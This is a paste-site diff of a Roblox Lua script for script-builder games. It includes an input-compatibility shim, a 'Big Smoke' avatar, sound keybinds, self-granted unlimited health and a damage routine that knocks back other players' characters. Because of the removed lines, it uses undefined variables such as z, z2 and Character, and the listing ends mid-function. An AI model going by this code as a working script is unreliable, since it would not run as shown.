SHOW:
|
|
- or go back to the newest paste.
| 1 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
| |
| 2 | local Player,Mouse,mouse,UserInputService,ContextActionService = owner | |
| 3 | local RealPlayer = Player | |
| 4 | do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c(),Button2Up=c(),Button2Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;if o.UserInputType==Enum.UserInputType.MouseButton2 then return f:TrigEvent(p and"Button2Down"or"Button2Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return typeof(t[q])=="function"and function(m,...)return t[q](t,...)end or t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return rawget(self,t)or r:GetService(t)end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService"),RunService=v({_btrs={},RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;v(x,game)game,owner=x,x.Players.LocalPlayer end
| |
| 5 | ||
| 6 | --U PICK DA WRUNG HAUSE F)00ll | |
| 7 | paly = owner | |
| 8 | Player = owner | |
| 9 | p = owner | |
| 10 | char = paly.Character | |
| 11 | vt = Vector3.new | |
| 12 | rarm = char["Right Arm"] | |
| 13 | hed = char.Head | |
| 14 | local randomquote = 0 | |
| 15 | larm = char["Left Arm"] | |
| 16 | rleg = char["Right Leg"] | |
| 17 | lleg = char["Left Leg"] | |
| 18 | torso = char.Torso | |
| 19 | local maincolor = BrickColor.random() | |
| 20 | local sholpad = Instance.new("Part",char)
| |
| 21 | sholpad.Name = "SholPads" | |
| 22 | sholpad.Reflectance = 0 | |
| 23 | sholpad.BottomSurface = 0 | |
| 24 | sholpad.TopSurface = 0 | |
| 25 | sholpad.Anchored = false | |
| 26 | sholpad.Locked = true | |
| 27 | sholpad.CanCollide = false | |
| 28 | sholpad.BrickColor = BrickColor.new("White")
| |
| 29 | local padweld = Instance.new("Weld",sholpad)
| |
| 30 | padweld.Part0 = rarm | |
| 31 | padweld.Part1 = sholpad | |
| 32 | padweld.C0 = CFrame.new(0,-1.1,-.3)*CFrame.Angles(210,0,0) | |
| 33 | local padmesh = Instance.new("SpecialMesh",sholpad)
| |
| 34 | padmesh.MeshType = "FileMesh" | |
| 35 | padmesh.MeshId = "http://www.roblox.com/asset/?id=54983181" | |
| 36 | padmesh.TextureId = "http://www.roblox.com/asset/?id=54983181" | |
| 37 | padmesh.Scale = Vector3.new(1.2,1.2,1.2) | |
| 38 | local asd = owner | |
| 39 | repeat wait() until asd.Character | |
| 40 | local asdchar = asd.Character | |
| 41 | local Torso = asdchar:findFirstChild("Torso")
| |
| 42 | local Head = asdchar:findFirstChild("Head")
| |
| 43 | local BC = asdchar["Body Colors"] | |
| 44 | BC.HeadColor = BrickColor.new("Brown")
| |
| 45 | BC.LeftArmColor = BrickColor.new("Brown")
| |
| 46 | BC.LeftLegColor = BrickColor.new("Brown")
| |
| 47 | BC.RightArmColor = BrickColor.new("Brown")
| |
| 48 | BC.RightLegColor = BrickColor.new("Brown")
| |
| 49 | BC.TorsoColor = BrickColor.new("Brown")
| |
| 50 | keyboard = game:GetService("UserInputService")
| |
| 51 | mouse = asd:GetMouse() | |
| 52 | - | local cc = Instance.new("ColorCorrectionEffect")
|
| 52 | + | |
| 53 | - | cc.Parent = game.Lighting |
| 53 | + | |
| 54 | - | cc.TintColor = Color3.new(1,0,0) |
| 54 | + | |
| 55 | - | cc.Saturation = -1 |
| 55 | + | |
| 56 | - | cc.Brightness = -.3 |
| 56 | + | |
| 57 | - | cc.Contrast = 1 |
| 57 | + | |
| 58 | - | cc.Enabled = false |
| 58 | + | |
| 59 | z2.Name = "song" | |
| 60 | z2.SoundId = "rbxassetid://609079653" -- Put Music ID Here. | |
| 61 | z2.Volume = 1 | |
| 62 | z2.EmitterSize = 1 | |
| 63 | z2.MaxDistance = 1 | |
| 64 | local fol = Instance.new("Sound", asdchar)
| |
| 65 | fol.Name = "song" | |
| 66 | fol.SoundId = "rbxassetid://409176756" -- Put Music ID Here. | |
| 67 | fol.Volume = 1 | |
| 68 | fol.EmitterSize = 1 | |
| 69 | fol.MaxDistance = 1 | |
| 70 | mouse.KeyDown:connect(function(key) | |
| 71 | if key == "z" then | |
| 72 | if z.IsPlaying == false then | |
| 73 | z:Play() | |
| 74 | elseif z.IsPlaying == true then | |
| 75 | z:Stop() | |
| 76 | end | |
| 77 | elseif key == "x" then | |
| 78 | if z2.IsPlaying == false then | |
| 79 | z2:Play() | |
| 80 | elseif z2.IsPlaying == true then | |
| 81 | z2:Stop() | |
| 82 | end | |
| 83 | elseif key == "c" then | |
| 84 | if fol.IsPlaying == false then | |
| 85 | fol:Play() | |
| 86 | wait(2.011) | |
| 87 | elseif fol.IsPlaying == true then | |
| 88 | fol:Stop() | |
| 89 | end | |
| 90 | end | |
| 91 | end) | |
| 92 | Player = owner | |
| 93 | - | cc.Enabled = true |
| 93 | + | |
| 94 | Head = Character.Head | |
| 95 | - | cc.Enabled = false |
| 95 | + | |
| 96 | mouse = Player:GetMouse() | |
| 97 | highnoon1 = true | |
| 98 | - | cc.Enabled = false |
| 98 | + | |
| 99 | runservice = game:GetService("RunService")
| |
| 100 | bullets = 6 | |
| 101 | local Humanoid = Character:FindFirstChild("Humanoid")
| |
| 102 | Humanoid.Health = math.huge | |
| 103 | wait() | |
| 104 | Humanoid.MaxHealth = math.huge | |
| 105 | la=Character["Left Arm"] | |
| 106 | ra=Character["Right Arm"] | |
| 107 | ll=Character["Left Leg"] | |
| 108 | rl=Character["Right Leg"] | |
| 109 | t=Character.Torso | |
| 110 | ||
| 111 | local scrn = Instance.new("ScreenGui", asd.PlayerGui)
| |
| 112 | function makeframe(par, trans, pos, size, color) | |
| 113 | local frame = Instance.new("Frame", par)
| |
| 114 | frame.BackgroundTransparency = trans | |
| 115 | frame.BorderSizePixel = 0 | |
| 116 | frame.Position = pos | |
| 117 | frame.Size = size | |
| 118 | frame.BackgroundColor3 = Color3.new(.3,.3,.3) | |
| 119 | return frame | |
| 120 | end | |
| 121 | function makelabel(par, text) | |
| 122 | local label = Instance.new("TextLabel", par)
| |
| 123 | label.BackgroundTransparency = 1 | |
| 124 | label.Size = UDim2.new(1, 0, 1, 0) | |
| 125 | label.Position = UDim2.new(0, 0, 0, 0) | |
| 126 | label.TextColor3 = Color3.new(255, 255, 255) | |
| 127 | label.TextStrokeTransparency = 0 | |
| 128 | label.FontSize = Enum.FontSize.Size32 | |
| 129 | label.Font = Enum.Font.SourceSansLight | |
| 130 | label.BorderSizePixel = 0 | |
| 131 | label.TextScaled = true | |
| 132 | label.Text = text | |
| 133 | end | |
| 134 | framesk1 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.85, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
| 135 | framesk2 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.74, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
| 136 | framesk3 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.63, 0), UDim2.new(0.16, 0, 0.1, 0), skillcolorscheme) | |
| 137 | framesk4 = makeframe(scrn, 0.5, UDim2.new(0.8, 0, 0.52, 0), UDim2.new(0.16, 0, 0.1, 0), Color3.new(0,0,0)) | |
| 138 | bar1 = makeframe(framesk1, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
| 139 | bar2 = makeframe(framesk2, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
| 140 | bar3 = makeframe(framesk3, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), skillcolorscheme) | |
| 141 | bar4 = makeframe(framesk4, 0.5, UDim2.new(0, 0, 0, 0), UDim2.new(1, 0, 1, 0), Color3.new(0,0,0)) | |
| 142 | text1 = makelabel(framesk1, [[ | |
| 143 | [V] | |
| 144 | idk]]) | |
| 145 | text2 = makelabel(framesk2, [[ | |
| 146 | [C] | |
| 147 | YOU PICKED THE WRONG HOUSE FOOL!]]) | |
| 148 | text3 = makelabel(framesk3, [[ | |
| 149 | [X] | |
| 150 | OOOOOOOOOOOOOOOO]]) | |
| 151 | text4 = makelabel(framesk4, [[ | |
| 152 | [Z] | |
| 153 | BIG SMOKE ORDER]]) | |
| 154 | ||
| 155 | CV="Maroon" | |
| 156 | local txt = Instance.new("BillboardGui", Character)
| |
| 157 | txt.Adornee = Character .Head | |
| 158 | txt.Name = "_status" | |
| 159 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
| 160 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
| 161 | local text = Instance.new("TextLabel", txt)
| |
| 162 | text.Size = UDim2.new(10, 0, 7, 0) | |
| 163 | text.FontSize = "Size24" | |
| 164 | text.TextScaled = true | |
| 165 | text.TextTransparency = 0 | |
| 166 | text.BackgroundTransparency = 1 | |
| 167 | text.TextTransparency = 0 | |
| 168 | text.TextStrokeTransparency = 0 | |
| 169 | text.Font = "Cartoon" | |
| 170 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
| 171 | v=Instance.new("Part")
| |
| 172 | v.Name = "ColorBrick" | |
| 173 | v.Parent=Player.Character | |
| 174 | v.FormFactor="Symmetric" | |
| 175 | v.Anchored=true | |
| 176 | v.CanCollide=false | |
| 177 | v.BottomSurface="Smooth" | |
| 178 | v.TopSurface="Smooth" | |
| 179 | v.Size=Vector3.new(10,5,3) | |
| 180 | v.Transparency=1 | |
| 181 | v.CFrame=Character.Torso.CFrame | |
| 182 | v.BrickColor=BrickColor.new(CV) | |
| 183 | v.Transparency=1 | |
| 184 | text.TextColor3 = Color3.new(1,1,1) | |
| 185 | v.Shape="Block" | |
| 186 | text.Text = "BIG SMOKE" | |
| 187 | local BC = Character["Body Colors"] | |
| 188 | BC.HeadColor = BrickColor.new("Brown")
| |
| 189 | BC.LeftArmColor = BrickColor.new("Brown")
| |
| 190 | BC.LeftLegColor = BrickColor.new("Brown")
| |
| 191 | BC.RightArmColor = BrickColor.new("Brown")
| |
| 192 | BC.RightLegColor = BrickColor.new("Brown")
| |
| 193 | BC.TorsoColor = BrickColor.new("Brown")
| |
| 194 | Torso = Character.Torso | |
| 195 | Head = Character.Head | |
| 196 | for i,v in pairs(char:children()) do | |
| 197 | if v:IsA("Shirt") then
| |
| 198 | v:Destroy() | |
| 199 | end | |
| 200 | end | |
| 201 | for i,v in pairs(char:children()) do | |
| 202 | if v:IsA("Pants") then
| |
| 203 | v:Destroy() | |
| 204 | end | |
| 205 | end | |
| 206 | shirt = Instance.new("Shirt", char)
| |
| 207 | shirt.Name = "Shirt" | |
| 208 | pants = Instance.new("Pants", char)
| |
| 209 | pants.Name = "Pants" | |
| 210 | char.Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=593699904" | |
| 211 | char.Pants.PantsTemplate = "http://www.roblox.com/asset/?id=129458425" | |
| 212 | p = owner | |
| 213 | char = p.Character | |
| 214 | torso = char.Torso | |
| 215 | neck = char.Torso.Neck | |
| 216 | hum = char.Humanoid | |
| 217 | hum.MaxHealth = 12500 | |
| 218 | wait() | |
| 219 | hum.Health =hum.MaxHealth | |
| 220 | euler = CFrame.fromEulerAnglesXYZ | |
| 221 | angles = CFrame.Angles | |
| 222 | local player = "LocalPlayer" | |
| 223 | local Character = game.Players[player].Character | |
| 224 | it = Instance.new | |
| 225 | vt = Vector3.new | |
| 226 | bc = BrickColor.new | |
| 227 | cf = CFrame.new | |
| 228 | mr = math.rad | |
| 229 | local Weapon = {}
| |
| 230 | local p = owner | |
| 231 | local char = p.Character | |
| 232 | local mouse = p:GetMouse() | |
| 233 | local larm = char["Left Arm"] | |
| 234 | local rarm = char["Right Arm"] | |
| 235 | local lleg = char["Left Leg"] | |
| 236 | local rleg = char["Right Leg"] | |
| 237 | local hed = char.Head | |
| 238 | local torso = char.Torso | |
| 239 | local hum = char.Humanoid | |
| 240 | local cam = game.Workspace.CurrentCamera | |
| 241 | local root = char.HumanoidRootPart | |
| 242 | local deb = false | |
| 243 | local shot = 0 | |
| 244 | ||
| 245 | local debris=game:service"Debris" | |
| 246 | local l = game:GetService("Lighting")
| |
| 247 | local rs = game:GetService("RunService").RenderStepped
| |
| 248 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
| |
| 249 | math.randomseed(os.time()) | |
| 250 | for i,v in pairs (hed:GetChildren()) do | |
| 251 | if v:IsA("Sound") then
| |
| 252 | v:Destroy() | |
| 253 | end | |
| 254 | end | |
| 255 | weld = function(parent, part0, part1, c0) | |
| 256 | local weld = it("Motor6D")
| |
| 257 | weld.Parent = parent | |
| 258 | weld.Part0 = part0 | |
| 259 | weld.Part1 = part1 | |
| 260 | weld.C0 = c0 | |
| 261 | return weld | |
| 262 | end | |
| 263 | local modelzorzez = Instance.new("Model")
| |
| 264 | modelzorzez.Parent = workspace.CurrentCamera | |
| 265 | modelzorzez.Name = "none" | |
| 266 | local Torso = Character.Torso | |
| 267 | local LeftArm = Character["Left Arm"] | |
| 268 | local RightArm = Character["Right Arm"] | |
| 269 | local LeftLeg = Character["Left Leg"] | |
| 270 | local RightLeg = Character["Right Leg"] | |
| 271 | local Head = Character.Head | |
| 272 | local RootPart = Character.HumanoidRootPart | |
| 273 | wait(0.016666666666667) | |
| 274 | script.Archivable = false | |
| 275 | Effects = {}
| |
| 276 | local Player = owner | |
| 277 | local Character = Player.Character | |
| 278 | local Humanoid = Character.Humanoid | |
| 279 | local mouse = Player:GetMouse() | |
| 280 | local m = Instance.new("Model", Character)
| |
| 281 | m.Name = "WeaponModel" | |
| 282 | local effect = Instance.new("Model", Character)
| |
| 283 | effect.Name = "effecsfsafzx" | |
| 284 | local demon = Instance.new("Model", Character)
| |
| 285 | demon.Name = "demdemd" | |
| 286 | local LeftArm = Character["Left Arm"] | |
| 287 | local RightArm = Character["Right Arm"] | |
| 288 | local LeftLeg = Character["Left Leg"] | |
| 289 | local RightLeg = Character["Right Leg"] | |
| 290 | local do2target = nil | |
| 291 | local Head = Character.Head | |
| 292 | local Torso = Character.Torso | |
| 293 | TorsoColor = BrickColor.new("Dark indigo")
| |
| 294 | local cam = game.Workspace.CurrentCamera | |
| 295 | local RootPart = Character.HumanoidRootPart | |
| 296 | local RootJoint = RootPart.RootJoint | |
| 297 | local equipped = false | |
| 298 | local attack = false | |
| 299 | local Anim = "Idle" | |
| 300 | local idle = 0 | |
| 301 | local attacktype = 1 | |
| 302 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
| 303 | local velocity = RootPart.Velocity.y | |
| 304 | local sine = 0 | |
| 305 | local change = 1 | |
| 306 | local mana = 0 | |
| 307 | local it = Instance.new | |
| 308 | vt = Vector3.new | |
| 309 | local grabbed = false | |
| 310 | local cf = CFrame.new | |
| 311 | local mr = math.rad | |
| 312 | local angles = CFrame.Angles | |
| 313 | local ud = UDim2.new | |
| 314 | local c3 = Color3.new | |
| 315 | ||
| 316 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
| 317 | if hit.Parent==nil then | |
| 318 | return | |
| 319 | end | |
| 320 | h=hit.Parent:FindFirstChild("Humanoid")
| |
| 321 | for _,v in pairs(hit.Parent:children()) do | |
| 322 | if v:IsA("Humanoid") then
| |
| 323 | h=v | |
| 324 | end | |
| 325 | end | |
| 326 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
| |
| 327 | h=hit.Parent.Parent:FindFirstChild("Humanoid")
| |
| 328 | end | |
| 329 | if hit.Parent.className=="Hat" then | |
| 330 | hit=hit.Parent.Parent:findFirstChild("Head")
| |
| 331 | end | |
| 332 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
| |
| 333 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
| |
| 334 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
| 335 | return | |
| 336 | end]] | |
| 337 | -- hs(hit,1.2) | |
| 338 | c=Instance.new("ObjectValue")
| |
| 339 | c.Name="creator" | |
| 340 | c.Value=owner | |
| 341 | c.Parent=h | |
| 342 | game:GetService("Debris"):AddItem(c,.5)
| |
| 343 | Damage=math.random(minim,maxim) | |
| 344 | -- h:TakeDamage(Damage) | |
| 345 | blocked=false | |
| 346 | block=hit.Parent:findFirstChild("Block")
| |
| 347 | if block~=nil then | |
| 348 | print(block.className) | |
| 349 | if block.className=="NumberValue" then | |
| 350 | if block.Value>0 then | |
| 351 | blocked=true | |
| 352 | if decreaseblock==nil then | |
| 353 | block.Value=block.Value-1 | |
| 354 | end | |
| 355 | end | |
| 356 | end | |
| 357 | if block.className=="IntValue" then | |
| 358 | if block.Value>0 then | |
| 359 | blocked=true | |
| 360 | if decreaseblock~=nil then | |
| 361 | block.Value=block.Value-1 | |
| 362 | end | |
| 363 | end | |
| 364 | end | |
| 365 | end | |
| 366 | if blocked==false then | |
| 367 | -- h:TakeDamage(Damage) | |
| 368 | h.Health=h.Health-Damage | |
| 369 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
| 370 | else | |
| 371 | h.Health=h.Health-(Damage/2) | |
| 372 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
| |
| 373 | end | |
| 374 | if Type=="Knockdown" then | |
| 375 | hum=hit.Parent.Humanoid | |
| 376 | hum.PlatformStand=true | |
| 377 | coroutine.resume(coroutine.create(function(HHumanoid) | |
| 378 | swait(1) | |
| 379 | HHumanoid.PlatformStand=false | |
| 380 | end),hum) | |
| 381 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
| 382 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
| 383 | local bodvol=Instance.new("BodyVelocity")
| |
| 384 | bodvol.velocity=angle*knockback | |
| 385 | bodvol.P=5000 | |
| 386 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
| 387 | bodvol.Parent=hit | |
| 388 | rl=Instance.new("BodyAngularVelocity")
| |
| 389 | rl.P=3000 | |
| 390 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
| 391 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
| 392 | rl.Parent=hit | |
| 393 | game:GetService("Debris"):AddItem(bodvol,.5)
| |
| 394 | game:GetService("Debris"):AddItem(rl,.5)
| |
| 395 | elseif Type=="Normal" then | |
| 396 | vp=Instance.new("BodyVelocity")
| |
| 397 | vp.P=500 | |
| 398 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
| 399 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
| 400 | if KnockbackType==1 then | |
| 401 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
| 402 | elseif KnockbackType==2 then | |
| 403 | vp.velocity=Property.CFrame.lookVector*knockback | |
| 404 | end | |
| 405 | if knockback>0 then | |
| 406 | vp.Parent=hit.Parent.Torso | |
| 407 | end | |
| 408 | game:GetService("Debris"):AddItem(vp,.5)
| |
| 409 | elseif Type=="Up" then | |
| 410 | local bodyVelocity=Instance.new("BodyVelocity")
| |
| 411 | bodyVelocity.velocity=vt(0,10,0) | |
| 412 | bodyVelocity.P=1000 | |
| 413 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
| 414 | bodyVelocity.Parent=hit | |
| 415 | game:GetService("Debris"):AddItem(bodyVelocity,1)
| |
| 416 | rl=Instance.new("BodyAngularVelocity")
| |
| 417 | rl.P=3000 | |
| 418 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
| 419 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
| 420 | rl.Parent=hit | |
| 421 | game:GetService("Debris"):AddItem(rl,.5)
| |
| 422 | elseif Type=="Snare" then | |
| 423 | bp=Instance.new("BodyPosition")
| |
| 424 | bp.P=2000 | |
| 425 | bp.D=100 | |
| 426 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
| 427 | bp.position=hit.Parent.Torso.Position | |
| 428 | bp.Parent=hit.Parent.Torso | |
| 429 | game:GetService("Debris"):AddItem(bp,1)
| |
| 430 | elseif Type=="Target" then | |
| 431 | if Targetting==false then | |
| 432 | ZTarget=hit.Parent.Torso | |
| 433 | coroutine.resume(coroutine.create(function(Part) | |
| 434 | swait(5) | |
| 435 | end),ZTarget) | |
| 436 | TargHum=ZTarget.Parent:findFirstChild("Humanoid")
| |
| 437 | targetgui=Instance.new("BillboardGui")
| |
| 438 | targetgui.Parent=ZTarget | |
| 439 | targetgui.Size=UDim2.new(10,100,10,100) | |
| 440 | targ=Instance.new("ImageLabel")
| |
| 441 | targ.Parent=targetgui | |
| 442 | targ.BackgroundTransparency=1 | |
| 443 | targ.Image="rbxassetid://4834067" | |
| 444 | targ.Size=UDim2.new(1,0,1,0) | |
| 445 | cam.CameraType="Scriptable" | |
| 446 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
| 447 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
| 448 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
| 449 | Targetting=true | |
| 450 | RocketTarget=ZTarget | |
| 451 | for i=1,Property do | |
| 452 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
| 453 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
| 454 | swait() | |
| 455 | end | |
| 456 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
| 457 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
| 458 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
| 459 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
| 460 | end | |
| 461 | Targetting=false | |
| 462 | RocketTarget=nil | |
| 463 | targetgui.Parent=nil | |
| 464 | cam.CameraType="Custom" | |
| 465 | end | |
| 466 | end | |
| 467 | debounce=Instance.new("BoolValue")
| |
| 468 | debounce.Name="DebounceHit" | |
| 469 | debounce.Parent=hit.Parent | |
| 470 | debounce.Value=true | |
| 471 | game:GetService("Debris"):AddItem(debounce,Delay)
| |
| 472 | c=Instance.new("ObjectValue")
| |
| 473 | c.Name="creator" | |
| 474 | c.Value=Player | |
| 475 | c.Parent=h | |
| 476 | game:GetService("Debris"):AddItem(c,.5)
| |
| 477 | CRIT=false | |
| 478 | hitDeb=true | |
| 479 | AttackPos=6 | |
| 480 | end | |
| 481 | end | |
| 482 | ||
| 483 | showDamage=function(Char,Dealt,du,Color) | |
| 484 | m=Instance.new("Model")
| |
| 485 | m.Name="" | |
| 486 | h=Instance.new("Humanoid")
| |
| 487 | h.Health=0 | |
| 488 | h.MaxHealth=0 | |
| 489 | h.Parent=m | |
| 490 | c=Instance.new("Part")
| |
| 491 | c.Transparency=0 | |
| 492 | c.Material = "Neon" | |
| 493 | c.BrickColor=bc("Bright red")
| |
| 494 | c.Name="Head" | |
| 495 | c.TopSurface=0 | |
| 496 | c.BottomSurface=0 | |
| 497 | CV="Hot pink" | |
| 498 | ||
| 499 | local txt = Instance.new("BillboardGui", c)
| |
| 500 | txt.Adornee = c | |
| 501 | txt.Name = "_status" | |
| 502 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
| 503 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
| 504 | local text = Instance.new("TextLabel", txt)
| |
| 505 | text.Size = UDim2.new(10, 0, 7, 0) | |
| 506 | text.FontSize = "Size24" | |
| 507 | text.TextScaled = true | |
| 508 | text.TextTransparency = 0 | |
| 509 | text.BackgroundTransparency = 1 | |
| 510 | text.TextTransparency = 0 | |
| 511 | text.TextStrokeTransparency = 0 | |
| 512 | text.Font = "Cartoon" | |
| 513 | text.TextStrokeColor3 = BrickColor.new("Really black").Color
| |
| 514 | ||
| 515 | v=Instance.new("Part")
| |
| 516 | v.Name = "ColorBrick" | |
| 517 | v.Parent=c | |
| 518 | v.FormFactor="Symmetric" | |
| 519 | v.Anchored=true | |
| 520 | v.CanCollide=false | |
| 521 | v.BottomSurface="Smooth" | |
| 522 | v.TopSurface="Smooth" | |
| 523 | v.Size=Vector3.new(10,5,3) | |
| 524 | v.Transparency=1 | |
| 525 | v.CFrame=c.CFrame | |
| 526 | v.BrickColor=BrickColor.new(CV) | |
| 527 | v.Transparency=1 | |
| 528 | text.TextColor3 = BrickColor.new("White").Color
| |
| 529 | v.Shape="Block" | |
| 530 | text.Text = tostring(Dealt).. "!" | |
| 531 | local tick = Instance.new("Sound",c)
| |
| 532 | tick.SoundId = "rbxassetid://553325070" | |
| 533 | tick.Volume = 1.25 | |
| 534 | tick.Pitch = 0.75 | |
| 535 | tick:Play() | |
| 536 | c.formFactor="Plate" | |
| 537 | c.Transparency = 0.99 | |
| 538 | c.Size=Vector3.new(1,.4,1) | |
| 539 | ms=Instance.new("CylinderMesh")
| |
| 540 | ms.Scale=Vector3.new(.8,.8,.8) | |
| 541 | if CRIT==true then | |
| 542 | ms.Scale=Vector3.new(1,1.25,1) | |
| 543 | end | |
| 544 | ms.Parent=c | |
| 545 | c.Reflectance=0 | |
| 546 | Instance.new("BodyGyro").Parent=c
| |
| 547 | c.Parent=m | |
| 548 | if Char:findFirstChild("Head")~=nil then
| |
| 549 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
| 550 | elseif Char.Parent:findFirstChild("Head")~=nil then
| |
| 551 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
| 552 | end | |
| 553 | f=Instance.new("BodyPosition")
| |
| 554 | f.P=2000 | |
| 555 | f.D=100 | |
| 556 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
| 557 | f.position=c.Position+Vector3.new(0,3,0) | |
| 558 | f.Parent=c | |
| 559 | game:GetService("Debris"):AddItem(m,.5+du)
| |
| 560 | c.CanCollide=false | |
| 561 | m.Parent=workspace | |
| 562 | c.CanCollide=false | |
| 563 | end | |
| 564 | ||
| 565 | clerp = function(a, b, t) | |
| 566 | ||
| 567 | return a:lerp(b, t) | |
| 568 | end | |
| 569 | ||
| 570 | ArtificialHB = Instance.new("BindableEvent", script)
| |
| 571 | ArtificialHB.Name = "Heartbeat" | |
| 572 | script:WaitForChild("Heartbeat")
| |
| 573 | frame = 0.033333333333333 | |
| 574 | tf = 0 | |
| 575 | allowframeloss = false | |
| 576 | tossremainder = false | |
| 577 | lastframe = tick() | |
| 578 | script.Heartbeat:Fire() | |
| 579 | game:GetService("RunService").Heartbeat:connect(function(s, p)
| |
| 580 | ||
| 581 | tf = tf + s | |
| 582 | if frame <= tf then | |
| 583 | if allowframeloss then | |
| 584 | script.Heartbeat:Fire() | |
| 585 | lastframe = tick() | |
| 586 | else | |
| 587 | for i = 1, math.floor(tf / frame) do | |
| 588 | script.Heartbeat:Fire() | |
| 589 | end | |
| 590 | lastframe = tick() | |
